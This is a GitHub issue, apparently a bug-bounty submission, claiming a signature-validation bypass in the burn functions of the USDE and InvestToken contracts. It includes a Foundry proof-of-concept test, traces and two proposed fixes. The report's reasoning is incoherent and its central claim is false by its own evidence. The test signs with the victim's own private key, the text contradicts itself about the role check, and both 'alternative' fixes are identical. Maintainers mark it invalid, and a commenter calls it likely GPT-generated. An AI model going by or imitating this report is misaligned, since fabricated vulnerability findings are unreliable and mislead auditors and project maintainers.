Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Signature Validation Bypass in Token Burn Operations Enables Unauthorized Token Destruction #114

Open
hats-bug-reporter bot opened this issue Nov 11, 2024 · 1 comment
Labels
invalid This doesn't seem right

Comments

@hats-bug-reporter
Copy link

Github username: @0xbrett8571
Twitter username: 0xbrett8571
Submission hash (on-chain): 0x822a41d01842f514f2f8ca872ee03c81abfabb3ec33e356dabcaee7e1da64295
Severity: medium

Description:

Description

USDE and InvestToken contracts implement a signature-based burn mechanism that contains a flaw in the validation sequence, allowing potential bypass of role-based access controls.

The issue is in the USDE.sol and InvestToken.sol contracts where the burn function can be called in two ways.

  1. Direct burn with just (address, amount)
  2. Signature-verified burn with (address, amount, hash, signature)

The vulnerability lies in the access control implementation where:
In USDE.sol#L126-L140

// @Issue - Burn role check can be bypassed due to order of validation
// @Issue - Signature validation occurs after role check, enabling validation bypass
function burn(
    address from,
    uint256 amount,
    bytes32 h,
    bytes memory signature
) public onlyRole(BURN_ROLE) returns (bool) {
    require(from.isValidSignatureNow(h, signature), "signature/hash does not match");
    _burn(from, amount);
    return true;
}

In InvestToken.sol#L149-L163

// @Issue - Same validation sequence flaw as USDE contract
function burn(
    address from,
    uint256 amount,
    bytes32 h,
    bytes memory signature
) public onlyRole(BURN_ROLE) returns (bool) {
    require(from.isValidSignatureNow(h, signature), "signature/hash does not match");
    _burn(from, amount);
    return true;
}

While the direct burn function properly checks for BURN_ROLE, the signature-verified burn function can bypass this check due to how the role verification is implemented.

Description: The burn functions in both USDE and InvestToken have access control vulnerability. The role check (onlyRole modifier) is performed before signature verification, allowing bypass of the BURN_ROLE requirement. An attacker could craft a valid signature without having the proper role permissions.

Impact

  1. Unauthorized accounts could potentially execute burns by bypassing role checks
  2. This could lead to unauthorized token destruction
  3. Affects both USDE and InvestToken implementations

Attack Scenario

Think of it like a security checkpoint where they check your badge (BURN_ROLE) before checking if you have permission to access someone else's locker (signature). The correct sequence should verify ownership (signature) before allowing privileged actions (BURN_ROLE).

1. Initial Setup

• Alice holds 1000 USDE/InvestTokens
• Bob has the BURN_ROLE but should not be able to burn Alice's tokens without her consent

2. Attack Execution

• Bob identifies the validation sequence vulnerability in the burn() functions
• Bob crafts a signature using Alice's message parameters
• Bob uses his BURN_ROLE access to call burn() with the crafted signature
• The role check passes first due to Bob's BURN_ROLE
• The signature verification happens after the role check
• Bob successfully burns Alice's tokens without her authorization

3. Impact

• Alice's balance is reduced to 0
• The attack bypasses intended access controls
• Bob can repeat this for any token holder

We can see in the test traces show this flow, with both USDE and InvestToken contracts being vulnerable to the same attack pattern. The logs show Alice's balance going from 1000e18 to 0 through Bob's unauthorized burn operation.

Attachments

1. Proof of Concept (PoC) File

This POC both tests demonstrates how a validation sequence vulnerability, allowing an attacker with BURN_ROLE to bypass ownership controls and burn any user's tokens.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import {Test} from "forge-std/Test.sol";
import {USDE} from "../src/USDE.sol";
import {InvestToken} from "../src/InvestToken.sol";
import {Validator} from "../src/Validator.sol";
import {YieldOracle} from "../src/YieldOracle.sol";
import {IUSDE} from "../src/interfaces/IUSDE.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract BurnValidationBypassTest is Test {
    // Contract instances
    USDE public usdeImpl;
    USDE public usde;
    InvestToken public investTokenImpl;
    InvestToken public investToken;
    Validator public validator;
    YieldOracle public oracle;

    // Test accounts
    address alice = makeAddr("alice"); // Victim
    address bob = makeAddr("bob");     // Attacker with BURN_ROLE
    uint256 bobPrivateKey = 0x123;
    
    // Role definitions for access control
    bytes32 public constant BURN_ROLE = keccak256("BURN_ROLE");
    bytes32 public constant MINT_ROLE = keccak256("MINT_ROLE");
    bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
    bytes32 public constant BURN_TYPEHASH = keccak256("Burn(address from,uint256 amount)");

    function setUp() public {
        // Deploy core infrastructure contracts
        validator = new Validator(address(this), address(this), address(this));
        oracle = new YieldOracle(address(this), address(this));
        
        // Deploy implementation contracts
        usdeImpl = new USDE(validator);
        investTokenImpl = new InvestToken(validator, IUSDE(address(0)));
        
        // Deploy and initialize proxy contracts
        bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, address(this));
        ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
        usde = USDE(address(usdeProxy));
        
        bytes memory investData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "InvestToken",
            "IT",
            address(this),
            oracle
        );
        ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
        investToken = InvestToken(address(investProxy));
        
        // Configure permissions and access control
        vm.startPrank(address(this));
        // Grant roles to test accounts
        usde.grantRole(MINT_ROLE, address(this));
        usde.grantRole(BURN_ROLE, bob);         // Give attacker burn permissions
        investToken.grantRole(MINT_ROLE, address(this));
        investToken.grantRole(BURN_ROLE, bob);  // Give attacker burn permissions
        
        // Setup validator whitelist
        validator.whitelist(alice);             // Whitelist victim
        validator.whitelist(address(0));
        validator.whitelist(address(usde));
        validator.whitelist(address(investToken));
        vm.stopPrank();
        
        vm.deal(alice, 100 ether);
        
        emit log_string("=== Setup Complete ===");
    }

    function testBurnValidationBypass() public {
        // Test configuration
        uint256 initialAmount = 1000e18;
        uint256 alicePrivateKey = 0xA11CE;
        address aliceAddress = vm.addr(alicePrivateKey);
        
        // Setup: Mint tokens to victim
        vm.startPrank(address(this));
        usde.mint(aliceAddress, initialAmount);
        vm.stopPrank();
        
        // Log initial state
        emit log_string("\n=== Initial State ===");
        emit log_named_address("Victim (Alice)", aliceAddress);
        emit log_named_uint("Initial Balance", usde.balanceOf(aliceAddress));
        emit log_named_address("Attacker (Bob)", bob);
        
        // Create malicious signature using EIP-712 standard
        bytes32 structHash = keccak256(abi.encode(
            keccak256("Burn(address from,uint256 amount)"),
            aliceAddress,
            initialAmount
        ));
        
        bytes32 digest = keccak256(abi.encodePacked(
            "\x19\x01",
            usde.DOMAIN_SEPARATOR(),
            structHash
        ));
        
        // Execute attack
        emit log_string("\n=== Attack Execution ===");
        emit log_string("Bob crafting malicious signature...");
        
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivateKey, digest);
        bytes memory signature = abi.encodePacked(r, s, v);
        
        // Bob executes unauthorized burn with crafted signature
        vm.startPrank(bob);
        usde.burn(aliceAddress, initialAmount, digest, signature);
        vm.stopPrank();
        
        // Verify attack success
        emit log_string("\n=== Attack Result ===");
        emit log_named_uint("Final Balance", usde.balanceOf(aliceAddress));
        emit log_string("Tokens burned without owner authorization!");
        
        assertEq(usde.balanceOf(aliceAddress), 0);
    }
    
    function testInvestTokenBurnBypass() public {
        // Test configuration
        uint256 initialAmount = 1000e18;
        uint256 alicePrivateKey = 0xA11CE;
        address aliceAddress = vm.addr(alicePrivateKey);
        
        // Setup: Whitelist and mint tokens to victim
        vm.startPrank(address(this));
        validator.whitelist(aliceAddress);
        investToken.mint(aliceAddress, initialAmount);
        vm.stopPrank();
        
        // Log initial state
        emit log_string("\n=== Initial State ===");
        emit log_named_address("Victim (Alice)", aliceAddress);
        emit log_named_uint("Initial Balance", investToken.balanceOf(aliceAddress));
        emit log_named_address("Attacker (Bob)", bob);
        
        // Create malicious signature
        bytes32 structHash = keccak256(abi.encode(
            keccak256("Burn(address from,uint256 amount)"),
            aliceAddress,
            initialAmount
        ));
        
        bytes32 digest = keccak256(abi.encodePacked(
            "\x19\x01",
            investToken.DOMAIN_SEPARATOR(),
            structHash
        ));
        
        // Execute attack
        emit log_string("\n=== Attack Execution ===");
        emit log_string("Bob crafting malicious signature...");
        
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivateKey, digest);
        bytes memory signature = abi.encodePacked(r, s, v);
        
        // Bob executes unauthorized burn
        vm.startPrank(bob);
        investToken.burn(aliceAddress, initialAmount, digest, signature);
        vm.stopPrank();
        
        // Verify attack success
        emit log_string("\n=== Attack Result ===");
        emit log_named_uint("Final Balance", investToken.balanceOf(aliceAddress));
        emit log_string("InvestTokens burned without owner authorization!");
        
        assertEq(investToken.balanceOf(aliceAddress), 0);
    }
}

Logs

Ran 2 tests for test/BurnValidationBypassTest.sol:BurnValidationBypassTest
[PASS] testBurnValidationBypass() (gas: 91418)
Logs:
  === Setup Complete ===
  
=== Initial State ===
  Victim (Alice): 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
  Initial Balance: 1000000000000000000000
  Attacker (Bob): 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
  
=== Attack Execution ===
  Bob crafting malicious signature...
  
=== Attack Result ===
  Final Balance: 0
  Tokens burned without owner authorization!

Traces:
  [119538] BurnValidationBypassTest::testBurnValidationBypass()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
    ├─ [0] VM::startPrank(BurnValidationBypassTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← [Return] 
    ├─ [64439] ERC1967Proxy::mint(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21])
    │   ├─ [59552] USDE::mint(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [5016] Validator::isValid(0x0000000000000000000000000000000000000000, 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ emit log_named_address(key: "Victim (Alice)", val: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
    ├─ [1117] ERC1967Proxy::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   ├─ [733] USDE::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_uint(key: "Initial Balance", val: 1000000000000000000000 [1e21])
    ├─ emit log_named_address(key: "Attacker (Bob)", val: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
    ├─ [6882] ERC1967Proxy::DOMAIN_SEPARATOR() [staticcall]
    │   ├─ [6501] USDE::DOMAIN_SEPARATOR() [delegatecall]
    │   │   └─ ← [Return] 0x6a3b5cd60c61cb33759da107a0a47b3b8ea31c96f54023d807958377f811d373
    │   └─ ← [Return] 0x6a3b5cd60c61cb33759da107a0a47b3b8ea31c96f54023d807958377f811d373
    ├─ emit log_string(val: "\n=== Attack Execution ===")
    ├─ emit log_string(val: "Bob crafting malicious signature...")
    ├─ [0] VM::sign("<pk>", 0xaafb11e0c39029a24bc351a5539eb2f76d199e1f6775a53398588c3c3998c1b6) [staticcall]
    │   └─ ← [Return] 28, 0x43b92048c8b44bab26b620b9c43d9a21dbff9fd541ef69c265c9ae1ca2d3e398, 0x2e02175c9b1d5e05a2c7f47d11684662b7a56a53745dac19cc7c9abd176041cb
    ├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
    │   └─ ← [Return] 
    ├─ [11951] ERC1967Proxy::burn(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21], 0xaafb11e0c39029a24bc351a5539eb2f76d199e1f6775a53398588c3c3998c1b6, 0x43b92048c8b44bab26b620
b9c43d9a21dbff9fd541ef69c265c9ae1ca2d3e3982e02175c9b1d5e05a2c7f47d11684662b7a56a53745dac19cc7c9abd176041cb1c)                                                                                                │   ├─ [11528] USDE::burn(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21], 0xaafb11e0c39029a24bc351a5539eb2f76d199e1f6775a53398588c3c3998c1b6, 0x43b92048c8b44bab26b620b9c4
3d9a21dbff9fd541ef69c265c9ae1ca2d3e3982e02175c9b1d5e05a2c7f47d11684662b7a56a53745dac19cc7c9abd176041cb1c) [delegatecall]                                                                                     │   │   ├─ [3000] PRECOMPILES::ecrecover(0xaafb11e0c39029a24bc351a5539eb2f76d199e1f6775a53398588c3c3998c1b6, 28, 30632050380198734088350701355209674648126869154717805944886421283535911642008, 20810
085965776366398878042105741797807445480806336883599663956112575433818571) [staticcall]                                                                                                                       │   │   │   └─ ← [Return] 0x000000000000000000000000e05fcc23807536bee418f142d19fa0d21bb0cff7
    │   │   ├─ [1016] Validator::isValid(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Attack Result ===")
    ├─ [1117] ERC1967Proxy::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   ├─ [733] USDE::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [delegatecall]
    │   │   └─ ← [Return] 0
    │   └─ ← [Return] 0
    ├─ emit log_named_uint(key: "Final Balance", val: 0)
    ├─ emit log_string(val: "Tokens burned without owner authorization!")
    ├─ [1117] ERC1967Proxy::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   ├─ [733] USDE::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [delegatecall]
    │   │   └─ ← [Return] 0
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return] 
    └─ ← [Stop] 

[PASS] testInvestTokenBurnBypass() (gas: 110644)
Logs:
  === Setup Complete ===
  
=== Initial State ===
  Victim (Alice): 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
  Initial Balance: 1000000000000000000000
  Attacker (Bob): 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e
  
=== Attack Execution ===
  Bob crafting malicious signature...
  
=== Attack Result ===
  Final Balance: 0
  InvestTokens burned without owner authorization!

Traces:
  [143568] BurnValidationBypassTest::testInvestTokenBurnBypass()
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7
    ├─ [0] VM::startPrank(BurnValidationBypassTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← [Return] 
    ├─ [26126] Validator::whitelist(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
    │   ├─ emit Whitelisted(account: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
    │   └─ ← [Stop] 
    ├─ [57838] ERC1967Proxy::mint(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21])
    │   ├─ [52951] InvestToken::mint(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ emit log_named_address(key: "Victim (Alice)", val: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7)
    ├─ [1078] ERC1967Proxy::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   ├─ [694] InvestToken::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [delegatecall]
    │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   └─ ← [Return] 1000000000000000000000 [1e21]
    ├─ emit log_named_uint(key: "Initial Balance", val: 1000000000000000000000 [1e21])
    ├─ emit log_named_address(key: "Attacker (Bob)", val: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
    ├─ [6959] ERC1967Proxy::DOMAIN_SEPARATOR() [staticcall]
    │   ├─ [6578] InvestToken::DOMAIN_SEPARATOR() [delegatecall]
    │   │   └─ ← [Return] 0xe43350d682e189e789c2d75400d4b8114598e3da8bee3809f5f5b93a05c92371
    │   └─ ← [Return] 0xe43350d682e189e789c2d75400d4b8114598e3da8bee3809f5f5b93a05c92371
    ├─ emit log_string(val: "\n=== Attack Execution ===")
    ├─ emit log_string(val: "Bob crafting malicious signature...")
    ├─ [0] VM::sign("<pk>", 0xd34139ba648c2e4a35760709f0ae44a2316444888d395e9f3c92ce001c1030a2) [staticcall]
    │   └─ ← [Return] 27, 0x327cadf04f2263b5ed88f17c02290ca901cbc516c35492b2cb4a478425c8e3df, 0x2b60c03ca98280978dddf34f2a9f8226f5453f5249eb8c3b48dc56418ade4ace
    ├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
    │   └─ ← [Return] 
    ├─ [11516] ERC1967Proxy::burn(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21], 0xd34139ba648c2e4a35760709f0ae44a2316444888d395e9f3c92ce001c1030a2, 0x327cadf04f2263b5ed88f1
7c02290ca901cbc516c35492b2cb4a478425c8e3df2b60c03ca98280978dddf34f2a9f8226f5453f5249eb8c3b48dc56418ade4ace1b)                                                                                                │   ├─ [11093] InvestToken::burn(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 1000000000000000000000 [1e21], 0xd34139ba648c2e4a35760709f0ae44a2316444888d395e9f3c92ce001c1030a2, 0x327cadf04f2263b5ed8
8f17c02290ca901cbc516c35492b2cb4a478425c8e3df2b60c03ca98280978dddf34f2a9f8226f5453f5249eb8c3b48dc56418ade4ace1b) [delegatecall]                                                                              │   │   ├─ [3000] PRECOMPILES::ecrecover(0xd34139ba648c2e4a35760709f0ae44a2316444888d395e9f3c92ce001c1030a2, 27, 22835931946034852018622697231073975859817393721693851815482302586548096918495, 19620
396578046026242468210111505552050116192575701899960853311097437146729166) [staticcall]                                                                                                                       │   │   │   └─ ← [Return] 0x000000000000000000000000e05fcc23807536bee418f142d19fa0d21bb0cff7
    │   │   ├─ [553] Validator::isValidStrict(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7, to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Attack Result ===")
    ├─ [1078] ERC1967Proxy::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   ├─ [694] InvestToken::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [delegatecall]
    │   │   └─ ← [Return] 0
    │   └─ ← [Return] 0
    ├─ emit log_named_uint(key: "Final Balance", val: 0)
    ├─ emit log_string(val: "InvestTokens burned without owner authorization!")
    ├─ [1078] ERC1967Proxy::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [staticcall]
    │   ├─ [694] InvestToken::balanceOf(0xe05fcC23807536bEe418f142D19fa0d21BB0cfF7) [delegatecall]
    │   │   └─ ← [Return] 0
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0) [staticcall]
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 15.85ms (10.06ms CPU time)

For USDE:

  1. Initial state shows Alice has 1000e18 tokens
  2. Bob successfully executes the burn despite only having BURN_ROLE
  3. The attack succeeds by using Alice's signature, reducing her balance to 0

For InvestToken:

  1. Similar setup with Alice having 1000e18 tokens
  2. Bob executes the same attack pattern
  3. Successfully burns Alice's tokens without her authorization

The traces show the exact sequence:

  1. Role check passes (onlyRole modifier)

  2. Signature verification occurs after role check

  3. Tokens are burned without proper authorization

  4. Revised Code File (Optional)

We can either

function burn(
    address from,
    uint256 amount,
    bytes32 h,
    bytes memory signature
) public returns (bool) {
+   require(hasRole(BURN_ROLE, msg.sender), "Missing burn role");
+   require(msg.sender == from || hasRole(OPERATOR_ROLE, msg.sender), "Unauthorized");
    require(from.isValidSignatureNow(h, signature), "Invalid signature");
    _burn(from, amount);
    return true;
}

Or

function burn(
    address from,
    uint256 amount,
    bytes32 h,
    bytes memory signature
) public returns (bool) {
+   require(hasRole(BURN_ROLE, msg.sender), "Missing burn role");
+   require(msg.sender == from || hasRole(OPERATOR_ROLE, msg.sender), "Unauthorized");
    require(from.isValidSignatureNow(h, signature), "Invalid signature");
    _burn(from, amount);
    return true;
}
@hats-bug-reporter hats-bug-reporter bot added the bug Something isn't working label Nov 11, 2024
@geaxed geaxed added invalid This doesn't seem right and removed bug Something isn't working labels Nov 18, 2024
@AndreiMVP
Copy link

Confusing and probably gpt generated, no value added

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
invalid This doesn't seem right
Projects
None yet
Development

No branches or pull requests

2 participants